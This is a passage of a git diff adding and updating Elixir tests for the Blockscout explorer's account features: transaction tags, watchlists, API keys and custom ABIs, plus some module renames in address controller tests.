build(:tag_transaction)) + |> json_response(422) + + Application.put_env(:explorer, Explorer.Account, old_env) + end + + test "check transaction tags pagination", %{conn: conn, user: user} do + tags_address = + for _ <- 0..50 do + build(:tag_transaction_db, user: user) |> Repo.account_repo().insert!() + end + + assert response = + conn + |> get("/api/account/v2/user/tags/transaction") + |> json_response(200) + + response_1 = + conn + |> get("/api/account/v2/user/tags/transaction", response["next_page_params"]) + |> json_response(200) + + check_paginated_response(response, response_1, tags_address) + end + + test "edit private transaction tag", %{conn: conn} do + transaction_tag = build(:tag_transaction) + + tag_response = + conn + |> post("/api/account/v2/user/tags/transaction", transaction_tag) + |> json_response(200) + + _response = + conn + |> get("/api/account/v2/user/tags/transaction") + |> json_response(200) == [tag_response] + + assert tag_response["address_hash"] == transaction_tag["address_hash"] + assert tag_response["name"] == transaction_tag["name"] + assert tag_response["id"] + + new_transaction_tag = build(:tag_transaction) + + new_tag_response = + conn + |> put("/api/account/v2/user/tags/transaction/#{tag_response["id"]}", new_transaction_tag) + |> doc(description: "Edit private transaction tag") + |> json_response(200) + + assert new_tag_response["address_hash"] == new_transaction_tag["address_hash"] + assert new_tag_response["name"] == new_transaction_tag["name"] + assert new_tag_response["id"] == tag_response["id"] + end + + test "get transaction tags after inserting one private tags", %{conn: conn} do + transactions = Enum.map(0..2, fn _x -> to_string(insert(:transaction).hash) end) + names = Enum.map(0..2, fn x -> "name#{x}" end) + zipped = Enum.zip(transactions, names) + + created = + Enum.map(zipped, fn {transaction_hash, name} -> + id = + (conn + |> post("/api/account/v2/user/tags/transaction", %{ + "transaction_hash" => transaction_hash, + "name" => name + }) + |> json_response(200))["id"] + + {transaction_hash, %{"label" => name}, %{"transaction_hash" => transaction_hash, "id" => id, "name" => name}} + end) + + assert Enum.all?(created, fn {transaction_hash, map_tag, _} -> + response = + conn + |> get("/api/account/v2/tags/transaction/#{transaction_hash}") + |> json_response(200) + + response["personal_transaction_tag"] == map_tag + end) + + response = + conn + |> get("/api/account/v2/user/tags/transaction") + |> doc(description: "Get private transactions tags") + |> json_response(200) + |> Map.get("items") + + assert Enum.all?(created, fn {_, _, map} -> map in response end) + end + + test "delete transaction tag", %{conn: conn} do + transactions = Enum.map(0..2, fn _x -> to_string(insert(:transaction).hash) end) + names = Enum.map(0..2, fn x -> "name#{x}" end) + zipped = Enum.zip(transactions, names) + + created = + Enum.map(zipped, fn {transaction_hash, name} -> + id = + (conn + |> post("/api/account/v2/user/tags/transaction", %{ + "transaction_hash" => transaction_hash, + "name" => name + }) + |> json_response(200))["id"] + + {transaction_hash, %{"label" => name}, %{"transaction_hash" => transaction_hash, "id" => id, "name" => name}} + end) + + assert Enum.all?(created, fn {transaction_hash, map_tag, _} -> + response = + conn + |> get("/api/account/v2/tags/transaction/#{transaction_hash}") + |> json_response(200) + + response["personal_transaction_tag"] == map_tag + end) + + response = + conn + |> get("/api/account/v2/user/tags/transaction") + |> json_response(200) + |> Map.get("items") + + assert Enum.all?(created, fn {_, _, map} -> map in response end) + + {_, _, %{"id" => id}} = Enum.at(created, 0) + + assert conn + |> delete("/api/account/v2/user/tags/transaction/#{id}") + |> doc("Delete private transaction tag") + |> json_response(200) == %{"message" => "OK"} + + assert Enum.all?(Enum.drop(created, 1), fn {_, _, %{"id" => id}} -> + conn + |> delete("/api/account/v2/user/tags/transaction/#{id}") + |> json_response(200) == %{"message" => "OK"} + end) + + assert conn + |> get("/api/account/v2/user/tags/transaction") + |> json_response(200) + |> Map.get("items") == [] + + assert Enum.all?(created, fn {addr, _, _} -> + response = + conn + |> get("/api/account/v2/tags/transaction/#{addr}") + |> json_response(200) + |> Map.get("items") + + response["personal_transaction_tag"] == nil + end) + end + + test "post && get watchlist address", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + post_watchlist_address_response = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> doc(description: "Add address to watch list") + |> json_response(200) + + assert post_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert post_watchlist_address_response["name"] == watchlist_address_map["name"] + assert post_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert post_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + + get_watchlist_address_response = + conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") |> Enum.at(0) + + assert get_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert get_watchlist_address_response["name"] == watchlist_address_map["name"] + assert get_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert get_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + assert get_watchlist_address_response["id"] == post_watchlist_address_response["id"] + + watchlist_address_map_1 = build(:watchlist_address) + + post_watchlist_address_response_1 = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map_1 + ) + |> json_response(200) + + get_watchlist_address_response_1_0 = + conn + |> get("/api/account/v2/user/watchlist") + |> doc(description: "Get addresses from watchlists") + |> json_response(200) + |> Map.get("items") + |> Enum.at(1) + + get_watchlist_address_response_1_1 = + conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") |> Enum.at(0) + + assert get_watchlist_address_response_1_0 == get_watchlist_address_response + + assert get_watchlist_address_response_1_1["notification_settings"] == + watchlist_address_map_1["notification_settings"] + + assert get_watchlist_address_response_1_1["name"] == watchlist_address_map_1["name"] + + assert get_watchlist_address_response_1_1["notification_methods"] == + watchlist_address_map_1["notification_methods"] + + assert get_watchlist_address_response_1_1["address_hash"] == watchlist_address_map_1["address_hash"] + assert get_watchlist_address_response_1_1["id"] == post_watchlist_address_response_1["id"] + end + + test "can't insert watchlist addresses more than limit", %{conn: conn, user: user} do + old_env = Application.get_env(:explorer, Explorer.Account) + + new_env = + old_env + |> Keyword.replace(:private_tags_limit, 5) + |> Keyword.replace(:watchlist_addresses_limit, 5) + + Application.put_env(:explorer, Explorer.Account, new_env) + + for _ <- 0..3 do + build(:watchlist_address_db, wl_id: user.watchlist_id) |> Repo.account_repo().insert() + end + + assert conn + |> post("/api/account/v2/user/watchlist", build(:watchlist_address)) + |> json_response(200) + + assert conn + |> post("/api/account/v2/user/watchlist", build(:watchlist_address)) + |> json_response(422) + + Application.put_env(:explorer, Explorer.Account, old_env) + end + + test "check watchlist tags pagination", %{conn: conn, user: user} do + tags_address = + for _ <- 0..50 do + build(:watchlist_address_db, wl_id: user.watchlist_id) |> Repo.account_repo().insert!() + end + + assert response = + conn + |> get("/api/account/v2/user/watchlist") + |> json_response(200) + + response_1 = + conn + |> get("/api/account/v2/user/watchlist", response["next_page_params"]) + |> json_response(200) + + check_paginated_response(response, response_1, tags_address) + end + + test "delete watchlist address", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + post_watchlist_address_response = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> json_response(200) + + assert post_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert post_watchlist_address_response["name"] == watchlist_address_map["name"] + assert post_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert post_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + + get_watchlist_address_response = + conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") |> Enum.at(0) + + assert get_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert get_watchlist_address_response["name"] == watchlist_address_map["name"] + assert get_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert get_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + assert get_watchlist_address_response["id"] == post_watchlist_address_response["id"] + + watchlist_address_map_1 = build(:watchlist_address) + + post_watchlist_address_response_1 = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map_1 + ) + |> json_response(200) + + get_watchlist_address_response_1 = conn |> get("/api/account/v2/user/watchlist") |> json_response(200) + + get_watchlist_address_response_1_0 = get_watchlist_address_response_1 |> Map.get("items") |> Enum.at(1) + + get_watchlist_address_response_1_1 = get_watchlist_address_response_1 |> Map.get("items") |> Enum.at(0) + + assert get_watchlist_address_response_1_0 == get_watchlist_address_response + + assert get_watchlist_address_response_1_1["notification_settings"] == + watchlist_address_map_1["notification_settings"] + + assert get_watchlist_address_response_1_1["name"] == watchlist_address_map_1["name"] + + assert get_watchlist_address_response_1_1["notification_methods"] == + watchlist_address_map_1["notification_methods"] + + assert get_watchlist_address_response_1_1["address_hash"] == watchlist_address_map_1["address_hash"] + assert get_watchlist_address_response_1_1["id"] == post_watchlist_address_response_1["id"] + + assert conn + |> delete("/api/account/v2/user/watchlist/#{get_watchlist_address_response_1_1["id"]}") + |> doc(description: "Delete address from watchlist by id") + |> json_response(200) == %{"message" => "OK"} + + assert conn + |> delete("/api/account/v2/user/watchlist/#{get_watchlist_address_response_1_0["id"]}") + |> json_response(200) == %{"message" => "OK"} + + assert conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") == [] + end + + test "put watchlist address", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + post_watchlist_address_response = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> json_response(200) + + assert post_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert post_watchlist_address_response["name"] == watchlist_address_map["name"] + assert post_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert post_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + + get_watchlist_address_response = + conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") |> Enum.at(0) + + assert get_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert get_watchlist_address_response["name"] == watchlist_address_map["name"] + assert get_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert get_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + assert get_watchlist_address_response["id"] == post_watchlist_address_response["id"] + + new_watchlist_address_map = build(:watchlist_address) + + put_watchlist_address_response = + conn + |> put( + "/api/account/v2/user/watchlist/#{post_watchlist_address_response["id"]}", + new_watchlist_address_map + ) + |> doc(description: "Edit watchlist address") + |> json_response(200) + + assert put_watchlist_address_response["notification_settings"] == + new_watchlist_address_map["notification_settings"] + + assert put_watchlist_address_response["name"] == new_watchlist_address_map["name"] + assert put_watchlist_address_response["notification_methods"] == new_watchlist_address_map["notification_methods"] + assert put_watchlist_address_response["address_hash"] == new_watchlist_address_map["address_hash"] + assert get_watchlist_address_response["id"] == put_watchlist_address_response["id"] + end + + test "cannot create duplicate of watchlist address", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + post_watchlist_address_response = + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> json_response(200) + + assert post_watchlist_address_response["notification_settings"] == watchlist_address_map["notification_settings"] + assert post_watchlist_address_response["name"] == watchlist_address_map["name"] + assert post_watchlist_address_response["notification_methods"] == watchlist_address_map["notification_methods"] + assert post_watchlist_address_response["address_hash"] == watchlist_address_map["address_hash"] + + assert conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> doc(description: "Example of error on creating watchlist address") + |> json_response(422) == %{"errors" => %{"watchlist_id" => ["Address already added to the watch list"]}} + + new_watchlist_address_map = build(:watchlist_address) + + post_watchlist_address_response_1 = + conn + |> post( + "/api/account/v2/user/watchlist", + new_watchlist_address_map + ) + |> json_response(200) + + assert conn + |> put( + "/api/account/v2/user/watchlist/#{post_watchlist_address_response_1["id"]}", + watchlist_address_map + ) + |> doc(description: "Example of error on editing watchlist address") + |> json_response(422) == %{"errors" => %{"watchlist_id" => ["Address already added to the watch list"]}} + end + + test "watchlist address returns with token balances info", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> json_response(200) + |> Map.get("items") + + watchlist_address_map_1 = build(:watchlist_address) + + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map_1 + ) + |> json_response(200) + |> Map.get("items") + + values = + for _i <- 0..149 do + ctb = + insert(:address_current_token_balance_with_token_id, + address: Repo.get_by(Address, hash: watchlist_address_map["address_hash"]) + ) + |> Repo.preload([:token]) + + ctb.value + |> Decimal.mult(ctb.token.fiat_value) + |> Decimal.div(Decimal.new(10 ** Decimal.to_integer(ctb.token.decimals))) + |> Decimal.round(16) + end + + values_1 = + for _i <- 0..200 do + ctb = + insert(:address_current_token_balance_with_token_id, + address: Repo.get_by(Address, hash: watchlist_address_map_1["address_hash"]) + ) + |> Repo.preload([:token]) + + ctb.value + |> Decimal.mult(ctb.token.fiat_value) + |> Decimal.div(Decimal.new(10 ** Decimal.to_integer(ctb.token.decimals))) + |> Decimal.round(16) + end + |> Enum.sort(fn x1, x2 -> Decimal.compare(x1, x2) in [:gt, :eq] end) + |> Enum.take(150) + + [wa2, wa1] = conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") + + assert wa1["tokens_fiat_value"] |> Decimal.new() == + values |> Enum.reduce(Decimal.new(0), fn x, acc -> Decimal.add(x, acc) end) + + assert wa1["tokens_count"] == 150 + assert wa1["tokens_overflow"] == false + + assert wa2["tokens_fiat_value"] |> Decimal.new() == + values_1 |> Enum.reduce(Decimal.new(0), fn x, acc -> Decimal.add(x, acc) end) + + assert wa2["tokens_count"] == 150 + assert wa2["tokens_overflow"] == true + end + + test "watchlist address returns with token balances info + handle nil fiat values", %{conn: conn} do + watchlist_address_map = build(:watchlist_address) + + conn + |> post( + "/api/account/v2/user/watchlist", + watchlist_address_map + ) + |> json_response(200) + |> Map.get("items") + + values = + for _i <- 0..148 do + ctb = + insert(:address_current_token_balance_with_token_id, + address: Repo.get_by(Address, hash: watchlist_address_map["address_hash"]) + ) + |> Repo.preload([:token]) + + ctb.value + |> Decimal.mult(ctb.token.fiat_value) + |> Decimal.div(Decimal.new(10 ** Decimal.to_integer(ctb.token.decimals))) + |> Decimal.round(16) + end + + token = insert(:token, fiat_value: nil) + + insert(:address_current_token_balance_with_token_id, + address: Repo.get_by(Address, hash: watchlist_address_map["address_hash"]), + token: token, + token_contract_address_hash: token.contract_address_hash + ) + + [wa1] = conn |> get("/api/account/v2/user/watchlist") |> json_response(200) |> Map.get("items") + + assert wa1["tokens_fiat_value"] |> Decimal.new() == + values |> Enum.reduce(Decimal.new(0), fn x, acc -> Decimal.add(x, acc) end) + + assert wa1["tokens_count"] == 150 + assert wa1["tokens_overflow"] == false + end + + test "post api key", %{conn: conn} do + post_api_key_response = + conn + |> post( + "/api/account/v2/user/api_keys", + %{"name" => "test"} + ) + |> doc(description: "Add api key") + |> json_response(200) + + assert post_api_key_response["name"] == "test" + assert post_api_key_response["api_key"] + end + + test "can create not more than 3 api keys + get api keys", %{conn: conn} do + Enum.each(0..2, fn _x -> + conn + |> post( + "/api/account/v2/user/api_keys", + %{"name" => "test"} + ) + |> json_response(200) + end) + + assert conn + |> post( + "/api/account/v2/user/api_keys", + %{"name" => "test"} + ) + |> doc(description: "Example of error on creating api key") + |> json_response(422) == %{"errors" => %{"name" => ["Max 3 keys per account"]}} + + assert conn + |> get("/api/account/v2/user/api_keys") + |> doc(description: "Get api keys list") + |> json_response(200) + |> Enum.count() == 3 + end + + test "edit api key", %{conn: conn} do + post_api_key_response = + conn + |> post( + "/api/account/v2/user/api_keys", + %{"name" => "test"} + ) + |> json_response(200) + + assert post_api_key_response["name"] == "test" + assert post_api_key_response["api_key"] + + put_api_key_response = + conn + |> put( + "/api/account/v2/user/api_keys/#{post_api_key_response["api_key"]}", + %{"name" => "test_1"} + ) + |> doc(description: "Edit api key") + |> json_response(200) + + assert put_api_key_response["api_key"] == post_api_key_response["api_key"] + assert put_api_key_response["name"] == "test_1" + + assert conn + |> get("/api/account/v2/user/api_keys") + |> json_response(200) == [put_api_key_response] + end + + test "delete api key", %{conn: conn} do + post_api_key_response = + conn + |> post( + "/api/account/v2/user/api_keys", + %{"name" => "test"} + ) + |> json_response(200) + + assert post_api_key_response["name"] == "test" + assert post_api_key_response["api_key"] + + assert conn + |> get("/api/account/v2/user/api_keys") + |> json_response(200) + |> Enum.count() == 1 + + assert conn + |> delete("/api/account/v2/user/api_keys/#{post_api_key_response["api_key"]}") + |> doc(description: "Delete api key") + |> json_response(200) == %{"message" => "OK"} + + assert conn + |> get("/api/account/v2/user/api_keys") + |> json_response(200) == [] + end + + test "post custom abi", %{conn: conn} do + custom_abi = build(:custom_abi) + + post_custom_abi_response = + conn + |> post( + "/api/account/v2/user/custom_abis", + custom_abi + ) + |> doc(description: "Add custom abi") + |> json_response(200) + + assert post_custom_abi_response["name"] == custom_abi["name"] + assert post_custom_abi_response["abi"] == custom_abi["abi"] + assert post_custom_abi_response["contract_address_hash"] == custom_abi["contract_address_hash"] + assert post_custom_abi_response["id"] + end + + test "can create not more than 15 custom abis + get custom abi", %{conn: conn} do + Enum.each(0..14, fn _x -> + conn + |> post( + "/api/account/v2/user/custom_abis", + build(:custom_abi) + ) + |> json_response(200) + end) + + assert conn + |> post( + "/api/account/v2/user/custom_abis", + build(:custom_abi) + ) + |> doc(description: "Example of error on creating custom abi") + |> json_response(422) == %{"errors" => %{"name" => ["Max 15 ABIs per account"]}} + + assert conn + |> get("/api/account/v2/user/custom_abis") + |> doc(description: "Get custom abis list") + |> json_response(200) + |> Enum.count() == 15 + end + + test "edit custom abi", %{conn: conn} do + custom_abi = build(:custom_abi) + + post_custom_abi_response = + conn + |> post( + "/api/account/v2/user/custom_abis", + custom_abi + ) + |> json_response(200) + + assert post_custom_abi_response["name"] == custom_abi["name"] + assert post_custom_abi_response["abi"] == custom_abi["abi"] + assert post_custom_abi_response["contract_address_hash"] == custom_abi["contract_address_hash"] + assert post_custom_abi_response["id"] + + custom_abi_1 = build(:custom_abi) + + put_custom_abi_response = + conn + |> put( + "/api/account/v2/user/custom_abis/#{post_custom_abi_response["id"]}", + custom_abi_1 + ) + |> doc(description: "Edit custom abi") + |> json_response(200) + + assert put_custom_abi_response["name"] == custom_abi_1["name"] + assert put_custom_abi_response["id"] == post_custom_abi_response["id"] + assert put_custom_abi_response["contract_address_hash"] == custom_abi_1["contract_address_hash"] + assert put_custom_abi_response["abi"] == custom_abi_1["abi"] + + assert conn + |> get("/api/account/v2/user/custom_abis") + |> json_response(200) == [put_custom_abi_response] + end + + test "delete custom abi", %{conn: conn} do + custom_abi = build(:custom_abi) + + post_custom_abi_response = + conn + |> post( + "/api/account/v2/user/custom_abis", + custom_abi + ) + |> json_response(200) + + assert post_custom_abi_response["name"] == custom_abi["name"] + assert post_custom_abi_response["id"] + + assert conn + |> get("/api/account/v2/user/custom_abis") + |> json_response(200) + |> Enum.count() == 1 + + assert conn + |> delete("/api/account/v2/user/custom_abis/#{post_custom_abi_response["id"]}") + |> doc(description: "Delete custom abi") + |> json_response(200) == %{"message" => "OK"} + + assert conn + |> get("/api/account/v2/user/custom_abis") + |> json_response(200) == [] + end + end + + def convert_date(request) do + {:ok, time, _} = DateTime.from_iso8601(request["submission_date"]) + %{request | "submission_date" => Calendar.strftime(time, "%b %d, %Y")} + end + + defp compare_item(%TagAddress{} = tag_address, json) do + assert json["address_hash"] == to_string(tag_address.address_hash) + assert json["name"] == tag_address.name + assert json["id"] == tag_address.id + assert json["address"]["hash"] == Address.checksum(tag_address.address_hash) + end + + defp compare_item(%TagTransaction{} = tag_transaction, json) do + assert json["transaction_hash"] == to_string(tag_transaction.transaction_hash) + assert json["name"] == tag_transaction.name + assert json["id"] == tag_transaction.id + end + + defp compare_item(%WatchlistAddress{} = watchlist, json) do + notification_settings = %{ + "native" => %{ + "incoming" => watchlist.watch_coin_input, + "outcoming" => watchlist.watch_coin_output + }, + "ERC-20" => %{ + "incoming" => watchlist.watch_erc_20_input, + "outcoming" => watchlist.watch_erc_20_output + }, + "ERC-721" => %{ + "incoming" => watchlist.watch_erc_721_input, + "outcoming" => watchlist.watch_erc_721_output + }, + "ERC-404" => %{ + "incoming" => watchlist.watch_erc_404_input, + "outcoming" => watchlist.watch_erc_404_output + } + } + + assert json["address_hash"] == to_string(watchlist.address_hash) + assert json["name"] == watchlist.name + assert json["id"] == watchlist.id + assert json["address"]["hash"] == Address.checksum(watchlist.address_hash) + assert json["notification_methods"]["email"] == watchlist.notify_email + assert json["notification_settings"] == notification_settings + end + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + defp addresses_json_match?(expected, actual) do + Enum.all?(expected, fn {key, value} -> + case value do + # Recursively compare nested maps + %{} -> addresses_json_match?(value, actual[key]) + _ -> actual[key] == value + end + end) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/account/custom_abi_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/account/custom_abi_controller_test.exs new file mode 100644 index 000000000000..367448b98660 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/account/custom_abi_controller_test.exs @@ -0,0 +1,196 @@ +defmodule BlockScoutWeb.Account.CustomABIControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Account.Identity + alias Explorer.TestHelper + + @custom_abi "[{\"type\":\"function\",\"outputs\":[{\"type\":\"string\",\"name\":\"\"}],\"name\":\"name\",\"inputs\":[],\"constant\":true}]" + + setup %{conn: conn} do + auth = build(:auth) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + {:ok, user} = Identity.find_or_create(auth) + + {:ok, conn: Plug.Test.init_test_session(conn, current_user: user)} + end + + describe "test custom ABI functionality" do + test "custom ABI page opens correctly", %{conn: conn} do + result_conn = + conn + |> get("/account/custom_abi") + + assert html_response(result_conn, 200) =~ "Create a Custom ABI to interact with contracts." + end + + test "do not add custom ABI with wrong ABI", %{conn: conn} do + contract_address = insert(:address, contract_code: "0x0102") + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(contract_address), + "abi" => "" + } + + result_conn = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + + assert html_response(result_conn, 200) =~ "Add Custom ABI" + assert html_response(result_conn, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn, 200) =~ "Required" + + result_conn_1 = + conn + |> post("/account/custom_abi", %{"custom_abi" => Map.put(custom_abi, "abi", "123")}) + + assert html_response(result_conn_1, 200) =~ "Add Custom ABI" + assert html_response(result_conn_1, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn_1, 200) =~ "Invalid format" + + result_conn_2 = + conn + |> get("/account/custom_abi") + + assert html_response(result_conn_2, 200) =~ "Create a Custom ABI to interact with contracts." + refute html_response(result_conn_2, 200) =~ to_string(contract_address.hash) + end + + test "add one custom abi and do not allow to create duplicates", %{conn: conn} do + contract_address = insert(:contract_address, contract_code: "0x0102") + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(contract_address), + "abi" => @custom_abi + } + + result_conn = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + + assert redirected_to(result_conn) == "/account/custom_abi" + + result_conn_2 = get(result_conn, "/account/custom_abi") + assert html_response(result_conn_2, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn_2, 200) =~ "Create a Custom ABI to interact with contracts." + + result_conn_1 = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + + assert html_response(result_conn_1, 200) =~ "Add Custom ABI" + assert html_response(result_conn_1, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn_1, 200) =~ "Custom ABI for this address has already been added before" + end + + test "show error on address which is not smart contract", %{conn: conn} do + contract_address = insert(:address) + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(contract_address), + "abi" => @custom_abi + } + + result_conn = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + + assert html_response(result_conn, 200) =~ "Add Custom ABI" + assert html_response(result_conn, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn, 200) =~ "Address is not a smart contract" + end + + test "user can add up to 15 custom ABIs", %{conn: conn} do + addresses = + Enum.map(1..15, fn _x -> + address = insert(:contract_address, contract_code: "0x0102") + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(address), + "abi" => @custom_abi + } + + assert conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + |> redirected_to() == "/account/custom_abi" + + to_string(address.hash) + end) + + assert abi_list = + conn + |> get("/account/custom_abi") + |> html_response(200) + + Enum.each(addresses, fn address -> assert abi_list =~ address end) + + address = insert(:contract_address, contract_code: "0x0102") + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(address), + "abi" => @custom_abi + } + + assert error_form = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + |> html_response(200) + + assert error_form =~ "Add Custom ABI" + assert error_form =~ "Max 15 ABIs per account" + assert error_form =~ to_string(address.hash) + + assert abi_list_new = + conn + |> get("/account/custom_abi") + |> html_response(200) + + Enum.each(addresses, fn address -> assert abi_list_new =~ address end) + + refute abi_list_new =~ to_string(address.hash) + assert abi_list_new =~ "You can create up to 15 Custom ABIs per account." + end + + test "after adding custom ABI on address page appear Read/Write Contract tab", %{conn: conn} do + contract_address = insert(:contract_address, contract_code: "0x0102") + + custom_abi = %{ + "name" => "1", + "address_hash" => to_string(contract_address), + "abi" => + "[{\"type\":\"function\",\"outputs\":[{\"type\":\"string\",\"name\":\"\"}],\"name\":\"name\",\"inputs\":[],\"constant\":true},{\"type\":\"function\",\"outputs\":[{\"type\":\"bool\",\"name\":\"success\"}],\"name\":\"approve\",\"inputs\":[{\"type\":\"address\",\"name\":\"_spender\"},{\"type\":\"uint256\",\"name\":\"_value\"}],\"constant\":false}]" + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + result_conn = + conn + |> post("/account/custom_abi", %{"custom_abi" => custom_abi}) + + assert redirected_to(result_conn) == "/account/custom_abi" + + result_conn_2 = get(result_conn, "/account/custom_abi") + assert html_response(result_conn_2, 200) =~ to_string(contract_address.hash) + assert html_response(result_conn_2, 200) =~ "Create a Custom ABI to interact with contracts." + + assert contract_page = + result_conn + |> get(address_contract_path(result_conn, :index, to_string(contract_address))) + |> html_response(200) + + assert contract_page =~ "Write Contract" + assert contract_page =~ "Read Contract" + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_contract_controller_test.exs index 57e608a4af95..768507b3e06b 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_contract_controller_test.exs @@ -1,11 +1,19 @@ defmodule BlockScoutWeb.AddressContractControllerTest do use BlockScoutWeb.ConnCase, async: true - import BlockScoutWeb.WebRouter.Helpers, only: [address_contract_path: 3] + import BlockScoutWeb.Routers.WebRouter.Helpers, only: [address_contract_path: 3] alias Explorer.Chain.{Address, Hash} - alias Explorer.ExchangeRates.Token - alias Explorer.Factory + alias Explorer.Market.Token + alias Explorer.{Factory, TestHelper} + + setup do + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + end describe "GET index/3" do test "returns not found for nonexistent address", %{conn: conn} do @@ -47,6 +55,9 @@ defmodule BlockScoutWeb.AddressContractControllerTest do block_index: 0 ) + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + conn = get(conn, address_contract_path(BlockScoutWeb.Endpoint, :index, Address.checksum(address))) assert html_response(conn, 200) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/address_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/address_controller_test.exs index 10c133dff506..d896d7b94633 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/address_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/address_controller_test.exs @@ -6,7 +6,7 @@ defmodule BlockScoutWeb.AddressControllerTest do import Mox alias Explorer.Chain.Address - alias Explorer.Counters.{AddressesCounter} + alias Explorer.Chain.Cache.Counters.AddressesCount describe "GET index/2" do setup :set_mox_global @@ -29,8 +29,8 @@ defmodule BlockScoutWeb.AddressControllerTest do |> Enum.map(&insert(:address, fetched_coin_balance: &1)) |> Enum.map(& &1.hash) - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() conn = get(conn, address_path(conn, :index, %{type: "JSON"})) {:ok, %{"items" => items}} = Poison.decode(conn.resp_body) @@ -42,8 +42,8 @@ defmodule BlockScoutWeb.AddressControllerTest do address = insert(:address, fetched_coin_balance: 1) insert(:address_name, address: address, primary: true, name: "POA Wallet") - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() + start_supervised!(AddressesCount) + AddressesCount.consolidate() conn = get(conn, address_path(conn, :index, %{type: "JSON"})) @@ -56,21 +56,10 @@ defmodule BlockScoutWeb.AddressControllerTest do describe "GET show/3" do setup :set_mox_global - setup do - configuration = Application.get_env(:explorer, :checksum_function) - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - - on_exit(fn -> - Application.put_env(:explorer, :checksum_function, configuration) - end) - end - test "redirects to address/:address_id/transactions", %{conn: conn} do insert(:address, hash: "0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") - conn = get(conn, 